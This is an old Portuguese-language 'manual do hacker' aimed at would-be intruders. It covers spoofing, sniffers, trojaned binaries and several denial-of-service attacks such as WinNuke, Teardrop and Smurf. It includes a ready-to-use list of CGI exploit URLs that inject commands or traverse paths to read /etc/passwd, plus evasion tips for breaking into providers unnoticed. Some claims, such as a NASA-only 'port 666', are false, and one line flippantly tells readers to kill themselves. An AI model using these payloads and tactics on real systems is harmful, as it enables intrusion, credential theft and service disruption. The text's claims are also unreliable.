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manual do hacker :) =====INVASÃO PELA PORTA 666===== MAS O QUE É ISSO? É UMA PORTA QUE SÓ PODERIA SER USADA PELO GOVERNO AMERICANO E NASA, TANTO QUE ELES COMUNICAM-SE POR ESTA PORTA. BOM, PARA SE CONECTAR POR ELA NÃO É NADA FÁCIL, MAS PRECISA DE ALGUNS AJUSTES, É MAIS UMA COISA PARA PEGAR COISAS NA CASA DE UM AMIGO SEM ELE FICAR SABENDO. O QUE VOCÊ PRECISA: VOCÊ PRECISA DE UM PROGRAMA CHAMADO AABOUT (www.sites.uol.com.br/HACKERSBRASIL ), E PEGUE ESTE PROGRAMA. VOCÊ PRECISA DE UM PROGRAMA PARA ACESSAR TELNET. PARA QUEM NÃO SABE ESTE PROGRAMA FICA NO DIRETÓRIO WINDOWS. PRONTO? JÁ TENHO TUDO AGORA? AGORA É SÓ CHAMAR UM AMIGO PARA UMA CONVERSA PELO ICQ, OU PELO CHAT, ELE TAMBÉM DEVE TER AS DUAS FERRAMENTAS. DEPOIS DE CHAMÁ-LO, OS DOIS DEVEM EXECUTAR O AABOUT. DEPOIS, É SÓ ABRIR O TELNET E NO HOST COLOCAR O IP DINÂMICO DA VÍTIMA E SE CONECTAR A PORTA 666 E NO LOGIN A PALAVRA GR!. O PONTO DE EXCLAMAÇÃO DEVE PERMANECER. PRONTO! AGORA VOCÊ ESTARÁ EM UM PROMPT! É SÓ DAR UM DIR, E VOCÊ TEM TOTAL CONTROLE SOBRE O PC DO CARA! TANTO CONTROLE QUE PODE CHEGAR A DAR UM FORMAT C: , POR ISSO, SÓ FAÇA ISSO COM SEUS AMIGOS. =====SPOOFING===== PARA QUE VOCÊ COMPREENDA ESTE TEXTO É NECESSÁRIO QUE VOCÊ TENHA ALGUNS CONHECIMENTOS SOBRE UNIX E PROTOCOLOS TCP/IP. ANTES DE MAIS NADA, O SPOOFING NÃO É UM ATAQUE, E SIM PARTE DE UM. LOGO, O 1

Manual hacker

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manual do hacker

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Page 1: Manual hacker

manual do hacker :)

=====INVASÃO PELA PORTA 666=====

MAS O QUE É ISSO?

É UMA PORTA QUE SÓ PODERIA SER USADA PELO GOVERNO AMERICANO E NASA, TANTO

QUE ELES COMUNICAM-SE POR ESTA PORTA. BOM, PARA SE CONECTAR POR ELA NÃO É

NADA FÁCIL, MAS PRECISA DE ALGUNS AJUSTES, É MAIS UMA COISA PARA PEGAR COISAS

NA CASA DE UM AMIGO SEM ELE FICAR SABENDO.

O QUE VOCÊ PRECISA:

VOCÊ PRECISA DE UM PROGRAMA CHAMADO AABOUT

(www.sites.uol.com.br/HACKERSBRASIL), E PEGUE ESTE PROGRAMA. VOCÊ PRECISA DE UM

PROGRAMA PARA ACESSAR TELNET. PARA QUEM NÃO SABE ESTE PROGRAMA FICA NO

DIRETÓRIO WINDOWS. PRONTO? JÁ TENHO TUDO AGORA? AGORA É SÓ CHAMAR UM

AMIGO PARA UMA CONVERSA PELO ICQ, OU PELO CHAT, ELE TAMBÉM DEVE TER AS DUAS

FERRAMENTAS. DEPOIS DE CHAMÁ-LO, OS DOIS DEVEM EXECUTAR O AABOUT. DEPOIS, É

SÓ ABRIR O TELNET E NO HOST COLOCAR O IP DINÂMICO DA VÍTIMA E SE CONECTAR A

PORTA 666 E NO LOGIN A PALAVRA GR!. O PONTO DE EXCLAMAÇÃO DEVE PERMANECER.

PRONTO! AGORA VOCÊ ESTARÁ EM UM PROMPT! É SÓ DAR UM DIR, E VOCÊ TEM TOTAL

CONTROLE SOBRE O PC DO CARA! TANTO CONTROLE QUE PODE CHEGAR A DAR UM

FORMAT C: , POR ISSO, SÓ FAÇA ISSO COM SEUS AMIGOS.

=====SPOOFING=====

PARA QUE VOCÊ COMPREENDA ESTE TEXTO É NECESSÁRIO QUE VOCÊ TENHA ALGUNS

CONHECIMENTOS SOBRE UNIX E PROTOCOLOS TCP/IP.

ANTES DE MAIS NADA, O SPOOFING NÃO É UM ATAQUE, E SIM PARTE DE UM. LOGO, O

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Page 2: Manual hacker

SPOOFING É UMA ESPÉCIE DE TÉCNICA DE ATAQUE, DO QUAL O HACKER PODE MASCARAR

SEU ENDEREÇO IP OU DNS, POR EXEMPLO, DIZENDO AO SISTEMA QUE ELE VAI ATACAR,

QUE ELE É CONFIÁVEL. ISSO OCORRE POR QUE AS COMUNICAÇÕES ENTRE COMPUTADORES

NA INTERNET SE BASEIA NESTES ENDEREÇOS "CONFIÁVEIS" PARA TROCAREM

INFORMAÇÕES. UMA MÁQUINA A PODE MANTER UMA COMUNICAÇÃO COM UMA

MÁQUINA B SEM QUE SEJA NECESSÁRIO VERIFICAR TODA HORA SE A INFORMAÇÃO É

AUTÊNTICA ENTRE ELAS. O HACKER, ENTÃO, PÕE UMA ESPÉCIE DE DISFARCE EM SEU PC,

DIZENDO PARA A MÁQUINA A QUE ELE É A MÁQUINA B. ASSIM, A MÁQUINA A VAI ACEITAR

TODOS OS SEUS COMANDOS E, ENTÃO, O CARA PODE FAZER TUDO O QUE QUISER NELA. OS

TIPOS MAIS COMUNS DE SPOOFING SÃO: IP-SPOOFING, DNS-SPOOFING, WEB-SPOOFING, E-

MAIL-SPOOFING ENTRE OUTROS.

COMO FOI MENCIONADO ANTERIORMENTE, NO SPOOFING O INVASOR TOMA A

IDENTIDADE DE HOST CONFIÁVEL. EM UMA REDE UNIX PODEMOS CONFIGURAR HOSTS

CONFIÁVEIS. SE UMA MÁQUINA UNIX CRIA EM SEU DIRETORIO/HOME UM ARQUIVO

CHAMADO RHOSTS COM OS NOMES DE HOSTS, LOGO QUALQUER USUÁRIO QUE TENHA O

USER ID QUE VOCÊ COLOCOU NESTE ARQUIVO PODE LOGAR-SE NA SUA CONTA USANDO O

RLOGIN.

O RLOGIN É UM PROTOCOLO BASEADO EM CLIENTE /SERVIDOR SIMPLES, QUE USA O TCP

COMO PROTOCOLO DE COMUNICAÇÃO. O RLOGIN PERMITE AO USUÁRIO LOGAR-SE

REMOTAMENTE DE UM HOST AO OUTRO. SE A MÁQUINA ALVO CONFIAR NA MÁQUINA

DESTE USUÁRIO, O RLOGIN PERMITIRÁ A CONVENIÊNCIA DE NÃO PEDIR PASSWORD. ELA

SOMENTE IRÁ AUTETICAR O CLIENTE VIA ENDEREÇO IP. ENTÃO PODEMOS EXECUTAR

COMANDOS REMOTOS COMO RSH, DESDE QUE DEDE QUE AQUELES HOSTS "CONFIÁVEIS"

ESTEJAM LISTADOS NO RHOSTS, SEM PEDIR PASSWORD. OUTRA POSSIBILIDADE É LISTAR

NOMES DE HOSTS NO ARQUIVO /ETC/HOSTS.EQUIV. NESTE CASO, QUALQUER USUÁRIO

DAS MÁQUINAS LISTADAS PODE TAMBÉM LOGAR-SE NO HOST LOCAL SEM UMA

PASSWORD.

THREE-WAY HADSHAKE: QUANDO UM HOST ENVIA UMA MENSAGEM A UM OUTRO HOST

ESTE PODE SER DIVIDIDO EM UM NÚMERO DE SEGMENTOS E REDICIONADO AO HOST

DESTINO POR TCP. O IP SOMENTE SE ENCARREGADE ROTEÁ-LO. QUANDO UMA APLICAÇÃO

EM UM CLIENTE QUER ALCANÇAR A OUTRA EM UM SERVIDOR, DEVE CONHECER A O IP DA

MÁQUINA-DESTINO E Ó NÚMERO DA PORTA TCP DESIGNADO À APLICAÇÃO, E DECIDIR

ENTÃO A CONEXÃO DESTINO. (CONEXÃO-DESTINO=DIREÇÃO IP+PORTA TCP).

PARA ESTABELECER UMA CONEXÃO, O TCP UTILIZA UM PROCEDIMENTO DENOMINADO "3-

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Page 3: Manual hacker

WAY HANDSHAKE". NESTE PROCESSO, 3 MENSAGENS (SYN, SYN/ACK y ACK) SÃO

REQUERIDAS PARA ESTABELECER A CONEXÃO. ENTRE A INFORMAÇÃO INTERCAMBIADA

ESTÁ A DIREÇÃO DE CADA MÁQUINA E O NÚMERO DE SEQUENCIA INICIAL (#SI) QUE AMBAS

UTILIZARÃO PARA ESTABELECER A COMINICAÇÃO. ESTES NÚMEROS SÃO EXCLUSIVOS PARA

A COMUNICAÇÃO ENTRE ESSAS DUAS MÁQUINAS, E SE BASEIAM NA HORA DO RELÓGIO

INTERNO DO SISTEMA. UMA VEZ ABERTA A CONEXÃO. AS DUAS MÁQUINAS JÁ

"AUTENTICADAS", ESTÃO PRONTAS PARA TROCAR DADOS.

=====ATAQUE POR MONITORAÇÃO=====

ATAQUES POR MONITORAÇÃO SÃO BASEADOS EM SOFTWARE DE MONITORAÇÃO DE REDE

CONHECIDO COMO SNIFFER, INSTALADO PELOS INVASORES. O SNIFFER GRAVA OS

PRIMEIROS 128 BYTES DE CADA SESSÃO LOGIN, TELNET E FTP SESSION VISTA NAQUELE

SEGMENTO DE REDE LOCAL COMPROMETENDO TODO O TRÁFEGO DE/PARA QUALQUER

MÁQUINA NAQUELE SEGMENTO, BEM COMO O TRÁFEGO QUE PASSAR POR AQUELE

SEGMENTO. OS NOMES CAPTURADOS INCLUEM O HOST DESTINO, O USERNAME E A

PASSWORD. A INFORMAÇÃO É GRAVADA NUM ARQUIVO POSTERIORMENTE RECUPERADO

PELO INVASOR PARA TER ACESSO A OUTRAS MÁQUINAS. EM MUITOS CASOS OS INVASORES

OBTEM ACESSO INICIAL AOS SISTEMAS USANDO UMA DAS SEGUINTES TÉCNICAS: OBTEM O

ARQUIVO DE PASSWORDS VIA FTP EM SISTEMAS IMPROPRIAMENTE CONFIGURADOS;

OBTEM O ARQUIVO DE PASSWORDS DE SISTEMAS RODANDO VERSÕES INSEGURAS DO NIS;

OBTEM ACESSO AO SISTEMA DE ARQUIVOS LOCAIS VIA PONTOS EXPORTADOS PARA

MONTAGEM COM NFS, SEM RESTRIÇÕES; USAM UM NOME DE LOGIN E PASSWORD

CAPTURADA POR UM SNIFFER RODANDO EM OUTRO SISTEMA. UMA VEZ NO SISTEMA, OS

INVASORES OBTEM PRIVILÉGIOS DE ROOT EXPLORANDO VULNERABILIDADES CONHECIDAS,

TAÇ COMO RDISTSUN SPARC INTEGER DIVISION E ARQUIVOS UTMP POSSÍVEIS DE ESCRITA

POR TODO MUNDO OU USANDO UMA PASSWORD DE ROOT CAPTURADA. ELES ENTÃO

INSTALAM O SOFTWARE SNIFFER, REGISTRANDO A INFORMAÇÃO CAPTURADA NUM

ARQUIVO INVISÍVEL.

ADICIONALMENTE, ELES INSTALAM CAVALOS DE TRÓIA EM SUBSTITUIÇÃO E UMA OU MAIS

DENTRE OS SEGUINTES ARQUIVOS DE SISTEMA, PARA OCULTAR SUA PRESENÇA:

/BIN/LOGIN

/USR/ETC/IN.TELNETD

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Page 4: Manual hacker

/USR/KVM/PS

/USR/UCB/NETSTAT

ENTENDA O BARRAMENTO DO MICRO

ISA- O BARRAMENTO SURGIU COM OS XT´S, O ISA ORIGINAIS ERAM DE 8 BITS E RODAVAM

A 4,77 MHZ. COM O ADVENTO DOS AT, VAIO O ISA DE 16 BITS QUE OPERAVAM A 8 MHZ.,

UTILIZADOS ATÉ HOJE.

POR EXEMPLO, AS FAX-MODEM POSSUEM BARRAMENTO ISA DE 8 BITS.

OS BARRAMENTOS UTILIZADOS ATUALMENTE SÃO O ISA, VESA E PCI, ESSES DOIS ÚLTIMOS

SÃO O QUE SE CHAMA DE LOCAL BUS.

SÃO CAHMADOS DE LOCAL BUS POR FUNCIONAREM EM CONEXÃO DIRETA COM A CPU.

VESA- HOJE MUITO POPULAR, NÃO CHEGA A CONSTITUIR UM BARRAMENTO NOVO, ELE É

BASICAMENTE UM ISA ALTERADO, E É UM BARRAMENTO RÁPIDO, DE 32 BITS E

FREQÜÊNCIA DE FUNCIONAMENTO DE 33 MHZ. A VELOCIDADE DE TRANSMISSÃO É DE

130MBITS/S.

=====ROUBANDO SENHAS DE SITES=====

ESTAS SENHAS PERMITEM QUE VOCÊ ENTRE EM SITES RESTRITOS QUE NECESSITAM DE

SENHA PARA ENTRAR. (NÃO FUNCIONA EM TODOS)

phf http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0acat%20/etc/passwd php.cgi

http://xxx.xxx.xxx/cgi-bin/php.cgi?/etc/passwd test-cgi http://xxx.xxx.xxx/cgi-bin/test-

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Page 5: Manual hacker

cgi?/etc/* query http://xxx.xxx.xxx/cgi-bin/query?%0a/bin/cat%20/etc/passwd faxsurvey

http://xxx.xxx.xxx/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd htmlscript

http://xxx.xxx.xxx/cgi-bin/htmlscript?../../../../etc/passwd webdist.cgi http://xxx.xxx.xxx/cgi-

bin/webdist.cgi?distloc=;cat%20/etc/passwd nph-test-cgi http://xxx.xxx.xxx/cgi-bin/nph-

test-cgi?/etc/* echo http://xxx.xxx.xxx/cgi-bin/echo?%0Acat%20/etc/passwd view-source

http://xxx.xxx.xxx/cgi-bin/view-source?../../../../../etc/passwd pfdisplay

http://xxx.xxx.xxx/cgi-bin/pfdispaly.cgi?/../../../../etc/passwd campas http://xxx.xxx.xxx/cgi-

bin/campas?%0acat%0a/etc/passwd%0a wrap http://xxx.xxx.xxx/cgi-

bin/wrap?/../../../../../etc whatever http://xxx.xxx.xxx/cgi-bin/handler/whatever;cat

/etc/passwd|? data=Download xenolith http://xxx.xxx.xxx/cgi-bin/handler/xenolith;cat

/etc/passwd/| ?data=Download

Substitua o xxx.xxx.xxx pelo endereço do site

DoS

PARA COMEÇAR A ESCREVER SOBRE DoS, NADA MELHOR DO QUE EXPLICAR O QUE É ISSO.

O LAMMER VEM E DIZ: " EU SEI! É UM SISTEMA OPERACIONAU SUPER LEGAL CRIADU PELU

BIU GAYTIS, PAI DU MERCADU DI SOFITIWARE! I EU SEI TUDU DELI!" NÃO!!!!! O HACKING

NÃO SE LIMITA A MERDAS COMO DOS LAMMAH! NA VERDADE NEM SEI SE CHEGA A

INCLUIR TAMANHA BOSTA. ASSIM, DOS E DoS SÃO COISAS DIFERENTES. ENQUANTO DOS

QUER DIZER "DISK OPERATING SYSTEM", DoS QUER DIZER "DENIAL OF SERVICE". DoS É UM

ATAQUE MUITO ÚTIL, E COMO O PRÓPRIO NOME DIZ, NEGA UM DETERMINADO TIPO DE

SERVIÇO AOS USUÁRIOS, ISTO É, IMPEDE QUE ACESSEM UM DETEMINADO SERVOÇO DO

HOST.

PODE-SE TER COMO ALVO DE UM DoS DESDE O MAIS BAIXO LAYERDO TCP/IP ATÉ STACK

ATÉ O LAYER DE APLICAÇÃO, TRAVANDO O IRC DO CARA, POR EXEMPLO. COMO VEREMOS

AQUI, NÃO EXISTE UM ATAQUE DE DoS, E SIM VÁRIOS TIPOS DE ATAQUES QUE PODEM SER

CONSIDERADOS COMO DoS, CADA UM DELES ATACANDO UMA PARTE DO TCP/IP E DOS

SEUS SUBPROTOCOLOS.

A UTILIDADE? VÁRIAS! O PRÓPRIO MAIL BOMB PODE SER CLASSIFICADO COMO UM

ATAQUE DE DoS, POIS ELE ENCHE A CAIXA DO MANÉ DE MENSAGENS IMPDINDO QUE ELE

CHEQUE OU TALVEZ ATÉ TRAVANDO O POP3. OUTRO EXEMPLO É O WINNUKE, QUE ATACA

UM DRIVER DO TCP/IP E FAZ COISAS QUE VARIAM DE CAIR A CONEXÃO DO CARA ATÉ

RESETAR O MICRO DO SUJEITO. ASSIM, O DoS SURGE COMO UM NOVO CAMPO A SER

EXPLORADO, INVESTIGANDO NÃO SOMENTE FUROS DE SEGURANÇA MAS SIM FRAQUEZAS

NA MANEIRA COM QUE OS PROTOCOLOS E OS SISTEMAS OPERACIONAIS LIDAM COM

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Page 6: Manual hacker

DETERMINADOS TIPOS E QUANTIDADES DE DADOS. SE VOCÊ AINDA NÃO TOMOU UMA

NOÇÃO CLARA DO QUE SERIA DoS, OS ATAQUES ABAIXO IRÃO AJUDÁ-LO A ENTENDER.

WINNUKE

OS AFETADOS: WIN 95 (INCLUINDO OSR2), E WINDOWS NT 4.0.

QUANDO O TITIO BILL GATE$ CRIOU WINDOWS 95 E CIA, PENSOU EM COMO SERIA A

IMPLANTAÇÃO DO COMPARTILHAMENTO DE ARQUIVOS, DADA ATRAVÉS DE UM

PROTOCOLO CHAMADO NETBIOS. QUERIA QUE FOSSE ALGO PRÁTICO, CONSTANTE E SEM

DIFICULDADES PARA O USUÁRIO FINAL. POR ISSO, RESERVOU AO NETBIOS A PORTA TCP/IP

139 E DEIXOU ELE ABERTA EM TODOS OS SISTEMAS, COMO UM DEFALT. ACONTECE QUE

ACABARAM DESCOBRINDO QUE ERA POSSÍVEL FAZER UM ATAQUE DE DoS BEM

INTERESSANTE COM ESSA PORTA 139. ESTE ATAQUE CONSISTE EM MANDAR UMA

MENSAGEM OOB (OUT OF BAND) PARA ESSA PORTA E COMO O RWINDOWS NÃO SABE

LIDAR COM ESSE TIPO DE MENSAGEM, OCORRE UM ERRO NO TCP/IP DO SEU RWINDOWS,

FAZENDO APARECER PORTANTO, A FAMOSA TELA AZUL COM AS MENSAGENS DE ERRO DE

DRIVER. EMBORA SEJA MAIS COMUM WINNUKAR UMA PESSOA PELA PORTA 139, ISSO

PODE SER FEITO POR OUTRAS PORTAS RELACIONADAS AO NETBIOS (COMO 135 E 137),

DESDE QUE ESTEJAM "ESCUTANDO".

LAND

OS AFETADOS- WIN95 (INCLUINDO OSR2), WIN NT 4.0 E BSDI 2.1 E OUTROS

ENTRE OUTROS, O LINUX NÃO É AFETADO A PARTIR DO KERNEL 2.0.30

ESSE ATAQUE USA UM MECANISMO INTERESSANTE, PORÉM NÃO CAUSA DANOS

CONSIDERÁVEIS, SÓ CAUSANDO UMA CERTA LENTIDÃO POR ALGUNS INSTANTES. É O

SEGUINTE: VOCÊ MANDA VÁRIOS PACOTES DE TCP/IP COM A FLAG SYN, SPOOFADOS COM

O IP DO PRÓPRIO ALVO. A FLAG SYN É A FLAG DO TCP/IP RESPNSÁVEL POR INICIAR UMA

CONEXÃO TCP/IP, CONHECIDA COMO TRHEE WAY HANDSHAKING. ASSIM, AO RECEBER

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Page 7: Manual hacker

UMA FLAG SYN, O TCP/IP RESPONDE O CLIENTE IMEDIATAMENTE COM UM PACOTE COM

AS FLAGS SYN E ACK. O QUE O LAND FAZ É O SEGUINTE: COMO AS SYN REQUESTS ESTÃO

SPOOFADAS COM O IP DO PRÓPRIO ALVO, ESSE ALVO ACABA MANDANDO AS SYN ACK´S

PARA ELE MESMO, CAUSANDO UMA LENTIDÃO ENORME NO SISTEMA E CHEGANDO ATÉ A

TRAVÁ-LO EM ALGUMAS VARIAÇÕES. SIMPLES E EFICIENTE.

TEARDROP

AS AFETADOS- WIN 95 (INCLUINDO OSR2), WIN NT E LINUX

ESSE ATAQUE TAMBÉM É MUITO FAMOSO. ELE EXPLORA UM BUG PRESENTE NO LAYER IP

(RELACIONADO À FRAGMENTAÇÃO DE DATAGRAMAS IP) DO TCP/IP STACK DOS DIFERENTES

OS´S CITADOS ACIMA. QUANDO A VÍTIMA RECEBE DETERMINADOS DADOS, SEU SISTEMA

PODE CONGELAR REPENTINAMENTE SUA CONEXÃO CAI E NO CASO DE SISTEMAS

WINDOWS PODE ATÉ SER QUE APAREÇA A FAMOSA E TEMIDA TELA AZUL, ACUSNDO UM

ERRO. ENTRETANTO, ESSE BUG NÃO CAUSA GRAVES DANOS E UM SIMPLES REBOOT IRÁ

NORMALIZAR TUDO.

VOCÊ ENCONTRARÁ MAIORES DETALHES NA BOA E VELHA ROOTSHELL

(HTTP://WWW.ROOTSHELL.COM). É SÓ DAR UM SEARCH.

SSPING/JOLT

OS AFETADOS- WIN 95 (INCLUINDO OSR2), WIN NT 4.0 E ANTIGAS VERSÕES DE MAC’OS.

ESSE EXPLOITS DESENTERRA O VELHO PROBLEMA DOS SISTEMAS WINDOWS COM O

PROTOCOLO ICMP, E MAIS ESPECIFICAMENTE COM A FUNÇÃO PING. O QUE O SSPING FAZ É

QUE ELE CRIA PACOTES DE DADOS ICMP MUITO GRANDES (MAIS QUE O PERMITIDO), OS

FRAGMENTA EM VÁRIAS PARTES (PARA PODER ENVIAR) E OS ENVIA DE UMA VEZ SÓ PARA

O ALVO. QUANDO O ALVO PEGA ESSES FRAGMENTOS E TENTA REMONTAR OS PACOTES

ORIGINAIS ELE TRAVA E É PRECISO REINICIÁ-LO.

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Page 8: Manual hacker

BONK/BOINK

OS AFETADOS- WIN 95 (INCLUINDO OSR2) E WIN NT 4.0.

ESSES DOIS SÃO NA VERDADE VARIAÇÕES DO CONHECIDO TEARDROP. O BONK SERIA UM

TEARDROP QUE TRAVA MESMO MÁQUINAS PATCHEADAS. JÁ O BOINK É UMA VERSÃO

MAIS AVANÇADA DO BONK E PERMITE QUE PORTAS UDP SEJAM USADAS COMO ALVO.

ESSES FATOS SE BASEIAM NO FATO DE QUE O WINDOWS PODE TRAVAR SE RECEBER

MUITOS PACOTES UDP CORROMPIDOS. ASSIM O PROGRAMA MANDA VÁRIOS

DATAGRAMAS IP FRAGMENTADOS E NO COMPUTADOR ALVO SÃO REMONTADOS EM

PACOTES UDP INVÁLIDOS ATRAVÉS DO "OVERLAPPING BUG", TAMBÉM MUITO EXPLORADO

NO TEARDROP.

SMURF

OS AFETADOS- TODOS. ISSO MESMO! VOCÊ OUVIU BEM! T-O-D-O-S!

AGORA CHEGOU A HORA DE FALAR SOBRE UM DOS ATAQUES MAIS EFICIENTES E LOUCOS.

O SMURF! A SIMPLICIDADE DESSE ATAQUE CHEGA A IMPRESSIONAR QUANDO SE OBSERVA

OS DANOS QUE PODEM SER CAUSADOS. ENTRE TODOS OS DoS DESCRITOS ATÉ AQUI, ESSE É

O PRIMEIRO QUE NÃO ENVOLVE APENAS DOIS COMPUTADORES: O INVASOR E A VÍTIMA,

MAIS SIM CENTENAS, ATÉ MILHARES DE HOSTS, CONTRA APENAS UM SÓ!! DEVASTADOR!!

O QUE O SMURF FAZ É QUE ELE MANDA UM BROADCAST DE PACOTES ICMP (MANDA PARA

VÁRIOS ENDEREÇOS, CONTIDOS EM UMA LISTA A SER CRIADA POR VOCÊ) SÓ QUE COM O

ENDEREÇO DE ORIGEM SPOOFADO COM O IP DA VÍTIMA. ASSIM, TODOS OS

COMPUTADORES QUE FORAM PINGADOS IRÃO RESPONDER UNICAMENTE PARA ESSE

COMPUTADOR VÍTIMA.

POR EXEMPLO: SE VOCÊ MANDA UM PING PRA 1000 COMPUTADORES E ESSE PING TEM

COMO IP DE ORIGEM O IP DA VÍTIMA, ESSE COITADO IRÁ RECEBER NADA MAIS NADA

MENOS DO QUE 1000 PACOTES ICMP DE RESPOSTA!!!!! QUASE AO MESMO TEMPO!!! ISSO

SIMPLESMENTE DETONA COM O MICRO DO CARA E TRAVA ELE TOTALMENTE, TENDO QUE

SER REINICIADO.

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Page 9: Manual hacker

FINGER DoS

OS QUE ESTÃO RODANDO FINGER UNPATCHEADO

PARA QUEM NÃO SABE, FINGER É UM SERVIÇO MUITO PRESENTE EM SISTEMA

MULTIUSUÁRIO (ESPECIALMENTE SISTEMAS UNIX) QUE MOSTRA QUEM ESTÁ LOGADO NO

SISTEMA, SEUS LOGINS, TERMINAIS QUE ESTÃO UTILIZANDO, TEMPO QUE ESTÃO LOGADOS,

ETC. É BEM ÚTIL NA OBTENÇÃO DE INFORMAÇÃO PARA UMA HACKEADA, MAS NÃO É DISSO

QUE ESTAMOS FALANDO AGORA.

O FINGER OPERA NA PORTA 79 E FUNCIONA NO ESQUEMA REQUEST-ANSWER. ASSIM,

VOCÊ FAZ UM FINGER REQUEST PARA O FINGERD DE UM HOST E ESTE HOST TE RESPONDE,

DE ACORDO COM A REQUEST QUE FOI FEITA.

SE VOCÊ QUISER SABER QUEM ESTÁ LOGADO NO SISTEMA VOCÊ DÁ O COMANDO

FINGER@SISTEMA .COM.BR E LOGO VERÁ UMA LISTA DE USUÁRIOS LOGADOS.

SE QUISER SABER INFORMAÇÕES SOBRE UM DETERMINADO USUÁRIO VOCÊ DÁ O

COMANDO FINGER USUÁ[email protected].

O ATAQUE CONSITE EM VÁRIOS REQUESTS ENVIADOS RAPIDAMENTE PARA O ALVO.

USUÁRIO@@@@@@@@@@SISTEMA.COM.BR.

CADA @ QUE VOCÊ COLOCOU REPRESENTA UM REQUEST E LOGO ASSIM, O COMPUTADOR

DA VÍTIMA SOFRERÁ UM FLOOD DE REQUESTS, O QUE DIMINUIRÁ O DESEMPENHO.

(NUNCA SOUBE DE NENHUM TRAVAMENTO OCASIONADO POR ESTE ATAQUE).

ENTÃO É SEGUINTE MANO! SE VOCÊ TEM NEURÔNIOS O SUFICIENTE EM SEU CÉREBRO

PERCEBEU QUE O WIN 95 E NT SÃO AS VÍTIMAS DE QUASE TODOS OS ATAQUES LISTADOS

AQUI. E NÃO PENSE QUE ESSES SÃO TODOS, POIS EXISTEM MUITOS OUTROS QUE ESTÃO

SENDO CRIADOS NO MOMENTO. DoS É AGORA, COMO JÁ MENCIONEI ANTES, UM CAMPO A

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Page 10: Manual hacker

SER EXPLORADO PELOS HACKERS.

SNIFFER

O SEGUINTE DOCUMENTO VISA AUXILIAR ADMINISTRADORES A COMPREENDER

PROBLEMAS RELACIONADOS COM SNIFFING E AS POSSÍVEIS SOLUÇÕES. A AÇÃO DOS

SNIFFERS É ATUALMENTE UM DOS PRINCIPAIS PROBLEMAS DE SEGURANÇA.

O QUE É O SNIFFER E COMO ELE FUNCIONA?

COMPUTADORES EM REDE COMPARTILHAM CANAIS DE COMUNICAÇÃO. ISSO É

OBVIAMENTE MUITO MAIS BARATO DO QUE PASSAR UM CABO EM CADA PAR DE

COMPUTADORES PARA FAZER AS CONEXÕES. NESTES CANAIS COMPARTILHADOS,

COMPUTADORES PODEM RECEBER INFORMAÇÕES ENVIADAS A OUTROS COMPUTADORES.

A AÇÃO DE CAPTURAR INFORMAÇÕES DESTINADAS A OUTROS COMPUTADORES É

CHAMADA SNIFFING.

O PADRÃO ETHERNET ENVIA UM PACOTE PARA TODAS AS MÁQUINAS EM UM MESMO

SEGMENTO. O CABEÇALHO DO PACOTE CONTÉM O ENDEREÇO DA MÁQUINA DESTINO.

SUPÕEM-SE QUE SOMENTE A MÁQUINA QUE TENHA O ENDEREÇO CONTIDO NO PACOTE

RECEBA-O. DIZ-SE QUE UM COMPUTADOR ESTÁ EM MODO PROMÍSTUO QUANDO O

MESMO CAPTURA TODOS OS PACOTES, INDEPENDENTEMENTE DE SEREM OU NÃO

DESTINADOS A ELE.

EM UM AMBIENTE DE REDE NORMAL, OS NOMES E AS SENHAS DOS USUÁRIOS SÃO

PASSADAS ATRAVÉS DA REDE EM CLARO, OU SEJA, TEXTO NÃO CRIPTOGRAFADO. NÃO É

DIFÍCIL, PORTANTO, UM INTRUSO UTILIZANDO UMA MÁQUINA COM INTERFACE DE REDE

EM MODO PROMÍSTUO, OBTER QUALQUER SENHA, INCLUSIVE A DO ROOT, UTILIZANDO

UM SNIFFER.

DICAS DE ÉTICA HACKER

DESCOBRIU ALGO NOVO, OLHE.

NÃO APAGUE. PENSE NO QUE SERIA MELHOR: TER ACESSO A PROVEDOR OU DETONÁ-LO?

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Page 11: Manual hacker

NÃO MODIFIQUE NADA, A MENOS QUE QUER QUE SAIBAM QUE ESTEVE LÁ.

NUNCA TENTE UM SU ROOT DIRETO. ISSO FICA LOGADO.

NÃO FIQUE USANDO TELNET OU PEGANDO E-MAIL USANDO ACESSO DOS OUTROS.

NUNCA SUBESTIME UM SYSOP.

ESCOLHA HORAS ENTRE 0:30 E 6:00.

UMA VEZ LÁ DENTRO TENTE DOMINAR O LUGAR, MAS COM CAUTELA.

NÃO COFIE EM NINGUÉM.

SE PEGAR A SENHA DO ROOT DE UM PROVEDOR DE ACESSO E NÃO SABE O QUE FAZER,

MATE-SE!

NÃO TESTE VÍRUS NO PRÓPRIO HD.

É BOM PREPARAR MUITO BEM UM A ESTRATÉGIA ANTES DE ATACAR.

USE OS COMPUTADORES DE SUA UNIVERSIDADE (É MAIS SEGURO)

NÃO FIQUE DISTRIBUINDO INFORMAÇÕES SOBRE O QUE VOCÊ PEGOU.

NÃO TENHA PENA DE NINGUÉM.

VOCÊ USA MS-DOS, LINUX, WINDOWS OU UNIX? NÃO CONTE A NINGUÉM...

NÃO CRIE LAÇOS AFETIVOS COM A VÍTIMA.

APRENDA O MÁXIMO QUE PUDER COM QUEM SABE MAIS! NÃO SE META A BESTA DIRETO!

MAIS DICAS

CONHEÇA A FUNDO OS SOSTEMAS OPERACIONAIS COMO O WINDOWS, LINUX E UNIX,

WINDOWS NT. COM ELES É QUE VOCÊ IRÁ ENTENDER COMO QUEBRAR A SEGURANÇA OU

ENTÃO COMO FUNCIONA A SEGURANÇA, É MAIS DIFÍCIL, MAIS NÃO IMPOSSÍVEL.

APRENDA UMA LINGUAGEM DE PROGRAMAÇÃO COMO VISUAL BASIC OU C. VOCÊ

ESCREVENDO PEQUENOS PROGRAMINHAS PODE DEIXAR UM PROGRAMA RODANDO EM

PARALELO PARA DESCOBRIR SENHAS DE ACESSO.

APRENDA A USAR O COMANDO TELNET DO UNIX PARA SE LOGAR EM MÁQUINAS

REMOTAMENTE E COPIAR AQUELE PROGRAMA OCULTO QUE FALTA PARA VOCÊ ENTRAR

11

Page 12: Manual hacker

NOO SISTEMA OU ENTÃO CADASTRAR UM USUÁRIO FANTASMA PARA ENTRAR NO SITEMA.

APRENDA COMO FUNCIONAM AS REDES E QUAIS OS TIPOS DE REDES QUE EXISTEM. HOJE

EM DIA, A MAIORIA DOS COMPUTADORES ESTÃO INTERLIGADOS E VOCÊ CONHECENDO A

ARQUITETURA E PROTOCOLOS USADOS FACILITA BASTANTE O ACESSO.

APRENDA O PROTOCOLO TCP/IP, QUE É USADO HOJE EM DIA NA INTERNET. ISSO SE VOCÊ

QUISER SER UM HACKER DA NET.

DIAL UP

